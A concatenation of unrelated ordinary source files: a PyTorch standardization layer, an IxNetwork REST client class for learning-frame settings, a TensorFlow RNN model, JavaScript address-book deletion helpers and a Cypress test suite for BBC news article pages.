print(z[0], z.shape)
The results are: ::
tensor([[[ 0.2761, -0.1161, -1.3316],
[ 0.4918, 0.5450, -0.7350],
[ 1.5699, -1.8567, 1.7366],
[-0.1463, -0.1318, -0.3019]],
[[-1.0576, 0.5794, -0.6489],
[-0.3410, -1.6589, 0.2531],
[ 1.2150, 0.7262, 0.3333],
[-1.1270, -0.2132, 1.9397]]]) torch.Size([5, 2, 4, 3])
tensor([[[ 0.2761, -0.1161, -1.3316],
[ 0.4918, 0.5450, -0.7350],
[ 1.5699, -1.8567, 1.7366],
[-0.1463, -0.1318, -0.3019]],
[[-1.0576, 0.5794, -0.6489],
[-0.3410, -1.6588, 0.2531],
[ 1.2150, 0.7262, 0.3333],
[-1.1270, -0.2132, 1.9397]]]) torch.Size([5, 2, 4, 3])
tensor([[[ 0.0498, -0.2576, -1.2101],
[ 0.2188, 0.2605, -0.7426],
[ 1.0637, -1.6216, 1.1943],
[-0.2812, -0.2698, -0.4032]],
[[-1.1965, 0.0760, -0.8788],
[-0.6395, -1.6639, -0.1776],
[ 0.5701, 0.1901, -0.1153],
[-1.2505, -0.5402, 1.1335]]]) torch.Size([5, 2, 4, 3])
tensor([[[ 0.0498, -0.2576, -1.2101],
[ 0.2188, 0.2605, -0.7426],
[ 1.0637, -1.6216, 1.1943],
[-0.2812, -0.2698, -0.4032]],
[[-1.1965, 0.0760, -0.8788],
[-0.6395, -1.6639, -0.1776],
[ 0.5701, 0.1901, -0.1153],
[-1.2505, -0.5401, 1.1335]]], grad_fn=<SelectBackward>) torch.Size([5, 2, 4, 3])
"""
def __init__(self, mean=None, std=None, axis=None, unbiased=False, extra=False):
super(Standardization, self).__init__()
self.mean = mean
self.std = std
self.axis = axis
self.unbiased = unbiased
self.extra = extra
def forward(self, x):
if self.mean is None:
if self.axis is None:
mean = th.mean(x)
else:
mean = th.mean(x, self.axis, keepdim=True)
if self.std is None:
if self.axis is None:
std = th.std(x, self.unbiased)
else:
std = th.std(x, self.axis, self.unbiased, keepdim=True)
if self.extra is True:
return (x - mean) / (std + EPS), mean, std
else:
return (x - mean) / (std + EPS)
if __name__ == '__main__':
import torchsar as ts
ts.setseed(seed=2020, target='torch')
x = th.randn(5, 2, 4, 3) * 10000
f = Standardization(axis=(2, 3), unbiased=False, extra=True)
y, meanv, stdv = f(x)
print(y[0], y.shape, meanv.shape, stdv.shape)
g = th.nn.InstanceNorm2d(2)
z = g(x)
print(z[0], z.shape)
f = Standardization(axis=(0, 2, 3), unbiased=False, extra=True)
y, meanv, stdv = f(x)
print(y[0], y.shape, meanv.shape, stdv.shape)
g = th.nn.BatchNorm2d(2)
z = g(x)
print(z[0], z.shape)
|
# MIT LICENSE
#
# Copyright 1997 - 2020 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from uhd_restpy.base import Base
from uhd_restpy.files import Files
from typing import List, Any, Union
class LearnFrames(Base):
"""The learning frames that IxNetwork sends during the test.
The LearnFrames class encapsulates a required learnFrames resource which will be retrieved from the server every time the property is accessed.
"""
__slots__ = ()
_SDM_NAME = 'learnFrames'
_SDM_ATT_MAP = {
'FastPathEnable': 'fastPathEnable',
'FastPathLearnFrameSize': 'fastPathLearnFrameSize',
'FastPathNumFrames': 'fastPathNumFrames',
'FastPathRate': 'fastPathRate',
'LearnFrameSize': 'learnFrameSize',
'LearnFrequency': 'learnFrequency',
'LearnNumFrames': 'learnNumFrames',
'LearnRate': 'learnRate',
'LearnSendMacOnly': 'learnSendMacOnly',
'LearnSendRouterSolicitation': 'learnSendRouterSolicitation',
'LearnWaitTime': 'learnWaitTime',
'LearnWaitTimeBeforeTransmit': 'learnWaitTimeBeforeTransmit',
}
_SDM_ENUM_MAP = {
'learnFrequency': ['never', 'onBinaryIteration', 'oncePerFramesize', 'oncePerTest', 'onTrial'],
}
def __init__(self, parent, list_op=False):
super(LearnFrames, self).__init__(parent, list_op)
@property
def FastPathEnable(self):
# type: () -> bool
"""
Returns
-------
- bool: If true, the fast path is enabled.
"""
return self._get_attribute(self._SDM_ATT_MAP['FastPathEnable'])
@FastPathEnable.setter
def FastPathEnable(self, value):
# type: (bool) -> None
self._set_attribute(self._SDM_ATT_MAP['FastPathEnable'], value)
@property
def FastPathLearnFrameSize(self):
# type: () -> int
"""
Returns
-------
- number: Specifies the size of the learning frames in the fast path.
"""
return self._get_attribute(self._SDM_ATT_MAP['FastPathLearnFrameSize'])
@FastPathLearnFrameSize.setter
def FastPathLearnFrameSize(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['FastPathLearnFrameSize'], value)
@property
def FastPathNumFrames(self):
# type: () -> int
"""
Returns
-------
- number: Specifies the number of learn frames that IxNetwork sends through fast path.
"""
return self._get_attribute(self._SDM_ATT_MAP['FastPathNumFrames'])
@FastPathNumFrames.setter
def FastPathNumFrames(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['FastPathNumFrames'], value)
@property
def FastPathRate(self):
# type: () -> int
"""
Returns
-------
- number: The learnt information on the rate the data is to be transferred.
"""
return self._get_attribute(self._SDM_ATT_MAP['FastPathRate'])
@FastPathRate.setter
def FastPathRate(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['FastPathRate'], value)
@property
def LearnFrameSize(self):
# type: () -> int
"""
Returns
-------
- number: Specifies the size of the learning frames.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnFrameSize'])
@LearnFrameSize.setter
def LearnFrameSize(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnFrameSize'], value)
@property
def LearnFrequency(self):
# type: () -> str
"""
Returns
-------
- str(never | onBinaryIteration | oncePerFramesize | oncePerTest | onTrial): Allows to choose how frequently IxNetwork sends learning frames during the test.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnFrequency'])
@LearnFrequency.setter
def LearnFrequency(self, value):
# type: (str) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnFrequency'], value)
@property
def LearnNumFrames(self):
# type: () -> int
"""
Returns
-------
- number: Specifies the number of learning frames that IxNetwork sends for each address.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnNumFrames'])
@LearnNumFrames.setter
def LearnNumFrames(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnNumFrames'], value)
@property
def LearnRate(self):
# type: () -> int
"""
Returns
-------
- number: Specifies the rate at which IxNetwork sends learn frames to the DUT.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnRate'])
@LearnRate.setter
def LearnRate(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnRate'], value)
@property
def LearnSendMacOnly(self):
# type: () -> bool
"""
Returns
-------
- bool: The learnt information on the MAC address sent.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnSendMacOnly'])
@LearnSendMacOnly.setter
def LearnSendMacOnly(self, value):
# type: (bool) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnSendMacOnly'], value)
@property
def LearnSendRouterSolicitation(self):
# type: () -> bool
"""
Returns
-------
- bool: The learnt information on the router sent solicitation.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnSendRouterSolicitation'])
@LearnSendRouterSolicitation.setter
def LearnSendRouterSolicitation(self, value):
# type: (bool) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnSendRouterSolicitation'], value)
@property
def LearnWaitTime(self):
# type: () -> int
"""
Returns
-------
- number: Specifies the length of time in ms that IxNetwork pauses before sending all the learning frames from all the ports.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnWaitTime'])
@LearnWaitTime.setter
def LearnWaitTime(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnWaitTime'], value)
@property
def LearnWaitTimeBeforeTransmit(self):
# type: () -> int
"""
Returns
-------
- number: The time in ms that IxNetwork waits before sending all the learning frames from all the ports.
"""
return self._get_attribute(self._SDM_ATT_MAP['LearnWaitTimeBeforeTransmit'])
@LearnWaitTimeBeforeTransmit.setter
def LearnWaitTimeBeforeTransmit(self, value):
# type: (int) -> None
self._set_attribute(self._SDM_ATT_MAP['LearnWaitTimeBeforeTransmit'], value)
def update(self, FastPathEnable=None, FastPathLearnFrameSize=None, FastPathNumFrames=None, FastPathRate=None, LearnFrameSize=None, LearnFrequency=None, LearnNumFrames=None, LearnRate=None, LearnSendMacOnly=None, LearnSendRouterSolicitation=None, LearnWaitTime=None, LearnWaitTimeBeforeTransmit=None):
# type: (bool, int, int, int, int, str, int, int, bool, bool, int, int) -> LearnFrames
"""Updates learnFrames resource on the server.
Args
----
- FastPathEnable (bool): If true, the fast path is enabled.
- FastPathLearnFrameSize (number): Specifies the size of the learning frames in the fast path.
- FastPathNumFrames (number): Specifies the number of learn frames that IxNetwork sends through fast path.
- FastPathRate (number): The learnt information on the rate the data is to be transferred.
- LearnFrameSize (number): Specifies the size of the learning frames.
- LearnFrequency (str(never | onBinaryIteration | oncePerFramesize | oncePerTest | onTrial)): Allows to choose how frequently IxNetwork sends learning frames during the test.
- LearnNumFrames (number): Specifies the number of learning frames that IxNetwork sends for each address.
- LearnRate (number): Specifies the rate at which IxNetwork sends learn frames to the DUT.
- LearnSendMacOnly (bool): The learnt information on the MAC address sent.
- LearnSendRouterSolicitation (bool): The learnt information on the router sent solicitation.
- LearnWaitTime (number): Specifies the length of time in ms that IxNetwork pauses before sending all the learning frames from all the ports.
- LearnWaitTimeBeforeTransmit (number): The time in ms that IxNetwork waits before sending all the learning frames from all the ports.
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
return self._update(self._map_locals(self._SDM_ATT_MAP, locals()))
def Apply(self, *args, **kwargs):
# type: (*Any, **Any) -> None
"""Executes the apply operation on the server.
Applies the specified Quick Test.
apply(async_operation=bool)
---------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('apply', payload=payload, response_object=None)
def ApplyAsync(self, *args, **kwargs):
# type: (*Any, **Any) -> None
"""Executes the applyAsync operation on the server.
applyAsync(async_operation=bool)
--------------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('applyAsync', payload=payload, response_object=None)
def ApplyAsyncResult(self, *args, **kwargs):
# type: (*Any, **Any) -> Union[bool, None]
"""Executes the applyAsyncResult operation on the server.
applyAsyncResult(async_operation=bool)bool
------------------------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
- Returns bool:
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('applyAsyncResult', payload=payload, response_object=None)
def ApplyITWizardConfiguration(self, *args, **kwargs):
# type: (*Any, **Any) -> None
"""Executes the applyITWizardConfiguration operation on the server.
Applies the specified Quick Test.
applyITWizardConfiguration(async_operation=bool)
------------------------------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('applyITWizardConfiguration', payload=payload, response_object=None)
def GenerateReport(self, *args, **kwargs):
# type: (*Any, **Any) -> Union[str, None]
"""Executes the generateReport operation on the server.
Generate a PDF report for the last succesfull test run.
generateReport(async_operation=bool)string
------------------------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
- Returns str: This method is asynchronous and has no return value.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('generateReport', payload=payload, response_object=None)
def Run(self, *args, **kwargs):
# type: (*Any, **Any) -> Union[List[str], None]
"""Executes the run operation on the server.
Starts the specified Quick Test and waits for its execution to finish.
The IxNetwork model allows for multiple method Signatures with the same name while python does not.
run(async_operation=bool)list
-----------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
- Returns list(str): This method is synchronous and returns the result of the test.
run(InputParameters=string, async_operation=bool)list
-----------------------------------------------------
- InputParameters (str): The input arguments of the test.
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
- Returns list(str): This method is synchronous and returns the result of the test.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('run', payload=payload, response_object=None)
def Start(self, *args, **kwargs):
# type: (*Any, **Any) -> None
"""Executes the start operation on the server.
Starts the specified Quick Test.
The IxNetwork model allows for multiple method Signatures with the same name while python does not.
start(async_operation=bool)
---------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
start(InputParameters=string, async_operation=bool)
---------------------------------------------------
- InputParameters (str): The input arguments of the test.
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('start', payload=payload, response_object=None)
def Stop(self, *args, **kwargs):
# type: (*Any, **Any) -> None
"""Executes the stop operation on the server.
Stops the currently running Quick Test.
stop(async_operation=bool)
--------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('stop', payload=payload, response_object=None)
def WaitForTest(self, *args, **kwargs):
# type: (*Any, **Any) -> Union[List[str], None]
"""Executes the waitForTest operation on the server.
Waits for the execution of the specified Quick Test to be completed.
waitForTest(async_operation=bool)list
-------------------------------------
- async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.
- Returns list(str): This method is synchronous and returns the result of the test.
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
payload = { "Arg1": self.href }
for i in range(len(args)): payload['Arg%s' % (i + 2)] = args[i]
for item in kwargs.items(): payload[item[0]] = item[1]
return self._execute('waitForTest', payload=payload, response_object=None)
|
"""
Pure - RNN model
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
from src.layers.Decoders import RNNDecoder
from src.layers.Encoders import RNNEncoder
from src.utils.model_utils import loss_function
class RNNModel(tf.keras.Model):
"""
RNN model
"""
def __init__(self, vocab_inp_size, vocab_tgt_size, target_lang, args):
super(RNNModel, self).__init__()
self.vocab_inp_size = vocab_inp_size
self.vocab_tgt_size = vocab_tgt_size
self.args = args
self.batch_size = args.batch_size
self.target_lang = target_lang
self.encoder = RNNEncoder(self.vocab_inp_size, args.emb_dim,
args.enc_units, args.batch_size)
self.decoder = RNNDecoder(self.vocab_tgt_size, args.emb_dim,
args.enc_units, args.batch_size)
self.loss_object = tf.keras.losses.sparse_categorical_crossentropy
def __call__(self, inp, targ, enc_hidden):
loss = 0
enc_output, enc_hidden = self.encoder(inp, enc_hidden)
dec_hidden = enc_hidden
dec_input = tf.expand_dims([self.target_lang.word_index['<start>']] * self.batch_size, 1)
# Teacher forcing - feeding the target as the next input
for t in range(1, targ.shape[1]):
# passing enc_output to the decoder
predictions, dec_hidden, _ = self.decoder(dec_input, dec_hidden, enc_output)
loss += loss_function(targ[:, t], predictions, self.loss_object)
# using teacher forcing
dec_input = tf.expand_dims(targ[:, t], 1)
return predictions, dec_hidden, loss
|
function DelContact(type,email, id) {
// We are trying to remove a bunch of addresses at the same time
if(deltotal || type == 'multi') {
if (confirm(['你是否確實要刪除' + deltotal + '選定地址簿項目?'])) {
document.abook.delmulti.value='1';
document.abook.submit();
CleanUpAbook();
}
return;
}
if(type == "group") {
if (confirm(['你確定要從你的通訊錄刪除用戶組\''+email+'\' ?'])) {
location.href = "abook.php?func=open&del=1&email=" + escape(email) + "&group=1&id=" + escape(id) + "¤t=" + document.abook.current.value;
CleanUpAbook();
}
}
else {
if (confirm(['你確定要從你的通訊錄刪除用戶\''+email+'\'?'])) {
location.href = "abook.php?func=open&del=1&email=" + escape(email) + "&id=" + escape(id) + "¤t=" + document.abook.current.value;
CleanUpAbook();
}
}
}
function DelContactShared(type,email, id) {
// We are trying to remove a bunch of addresses at the same time
if(deltotal) {
if (confirm(['你是否確實要刪除' + deltotal + '選定地址簿項目?'])) {
document.abook.delmulti.value='1';
//document.abook.delshared.value='1';
document.abook.submit();
CleanUpAbook();
}
return;
}
if(type == "group") {
if (confirm(['你確定要從你的通訊錄刪除用戶組\''+email+'\' ?'])) {
location.href = "abook.php?func=open&abookview=shared&delshared=1&email=" + escape(email) + "&group=1&id=" + escape(id);
CleanUpAbook();
}
}
else {
if (confirm(['你確定要從你的通訊錄刪除用戶\''+email+'\'?'])) {
location.href = "abook.php?func=open&abookview=shared&delshared=1&email=" + escape(email) + "&id=" + escape(id);
CleanUpAbook();
}
}
}
// Toglle the select all/deselect all
var switch_abook = "0";
function switchabook() {
if(switch_abook == '0') {
allabook();
switch_abook = '1';
} else {
uncheckallabook();
switch_abook = '0';
}
}
function allabook(swch){
var i=0;
len=document.abook.elements.length;
for (i=0;i<len;i++){
if (document.abook.elements[i].type=='checkbox' && (document.abook.elements[i].name == 'del[]' || document.abook.elements[i].name == 'delgroup[]' || document.abook.elements[i].name == 'delshared[]' || document.abook.elements[i].name == 'delsharedgroup[]')){
document.abook.elements[i].checked=true;
TRON(document.abook.elements[i]);
};
};
};
function uncheckallabook(swch){
var i=0;
len=document.abook.elements.length;
for (i=0;i<len;i++){
if (document.abook.elements[i].type=='checkbox' && (document.abook.elements[i].name == 'del[]' || document.abook.elements[i].name == 'delgroup[]' || document.abook.elements[i].name == 'delshared[]' || document.abook.elements[i].name == 'delsharedgroup[]')){
document.abook.elements[i].checked=false;
TROFF(document.abook.elements[i]);
};
};
};
|
import config from '../support/config';
import {
copyrightDataWindow,
firstHeadlineDataWindow,
firstParagraphDataWindow,
firstSubheadlineDataWindow,
getElement,
placeholderImageLoaded,
renderedTitle,
visibleImageNoCaption,
visibleImageWithCaption,
shouldContainText,
} from '../support/bodyTestHelper';
describe('Article Body Tests', () => {
// eslint-disable-next-line no-undef
before(() => {
cy.visit(`/news/articles/${config.assets.newsThreeSubheadlines}`);
});
it('should render an H1, which contains/displays a styled headline', () => {
firstHeadlineDataWindow();
});
it('should render a formatted timestamp', () => {
cy.window().then(win => {
const { lastPublished } = win.SIMORGH_DATA.pageData.metadata;
const timeStamp = Cypress.moment(lastPublished).format('D MMMM YYYY');
const time = getElement('time');
shouldContainText(time, timeStamp);
});
});
it('should render an H2, which contains/displays a styled subheading', () => {
firstSubheadlineDataWindow();
});
it('should render a paragraph, which contains/displays styled text', () => {
firstParagraphDataWindow();
});
it('should have a placeholder image', () => {
placeholderImageLoaded(getElement('figure div').eq(0));
});
it('should have a visible image without a caption', () => {
visibleImageNoCaption(getElement('figure').eq(0));
});
it('should have a visible image with a caption', () => {
visibleImageWithCaption(getElement('figure').eq(2));
});
it('should have an image copyright label with styling', () => {
copyrightDataWindow();
});
it('should render a title', () => {
cy.window().then(win => {
const { seoHeadline } = win.SIMORGH_DATA.pageData.promo.headlines;
renderedTitle(`${seoHeadline} - BBC News`);
});
});
it('should have an inline link', () => {
getElement('main a');
});
// it('should have a working first inline link', () => {
// clickInlineLinkAndTestPageHasHTML(
// 'main a',
// `/news/articles/${config.assets.news}`,
// );
// });
// This test is commented out because we are unable to run it on TEST as it requires a cert in order to work.
});
|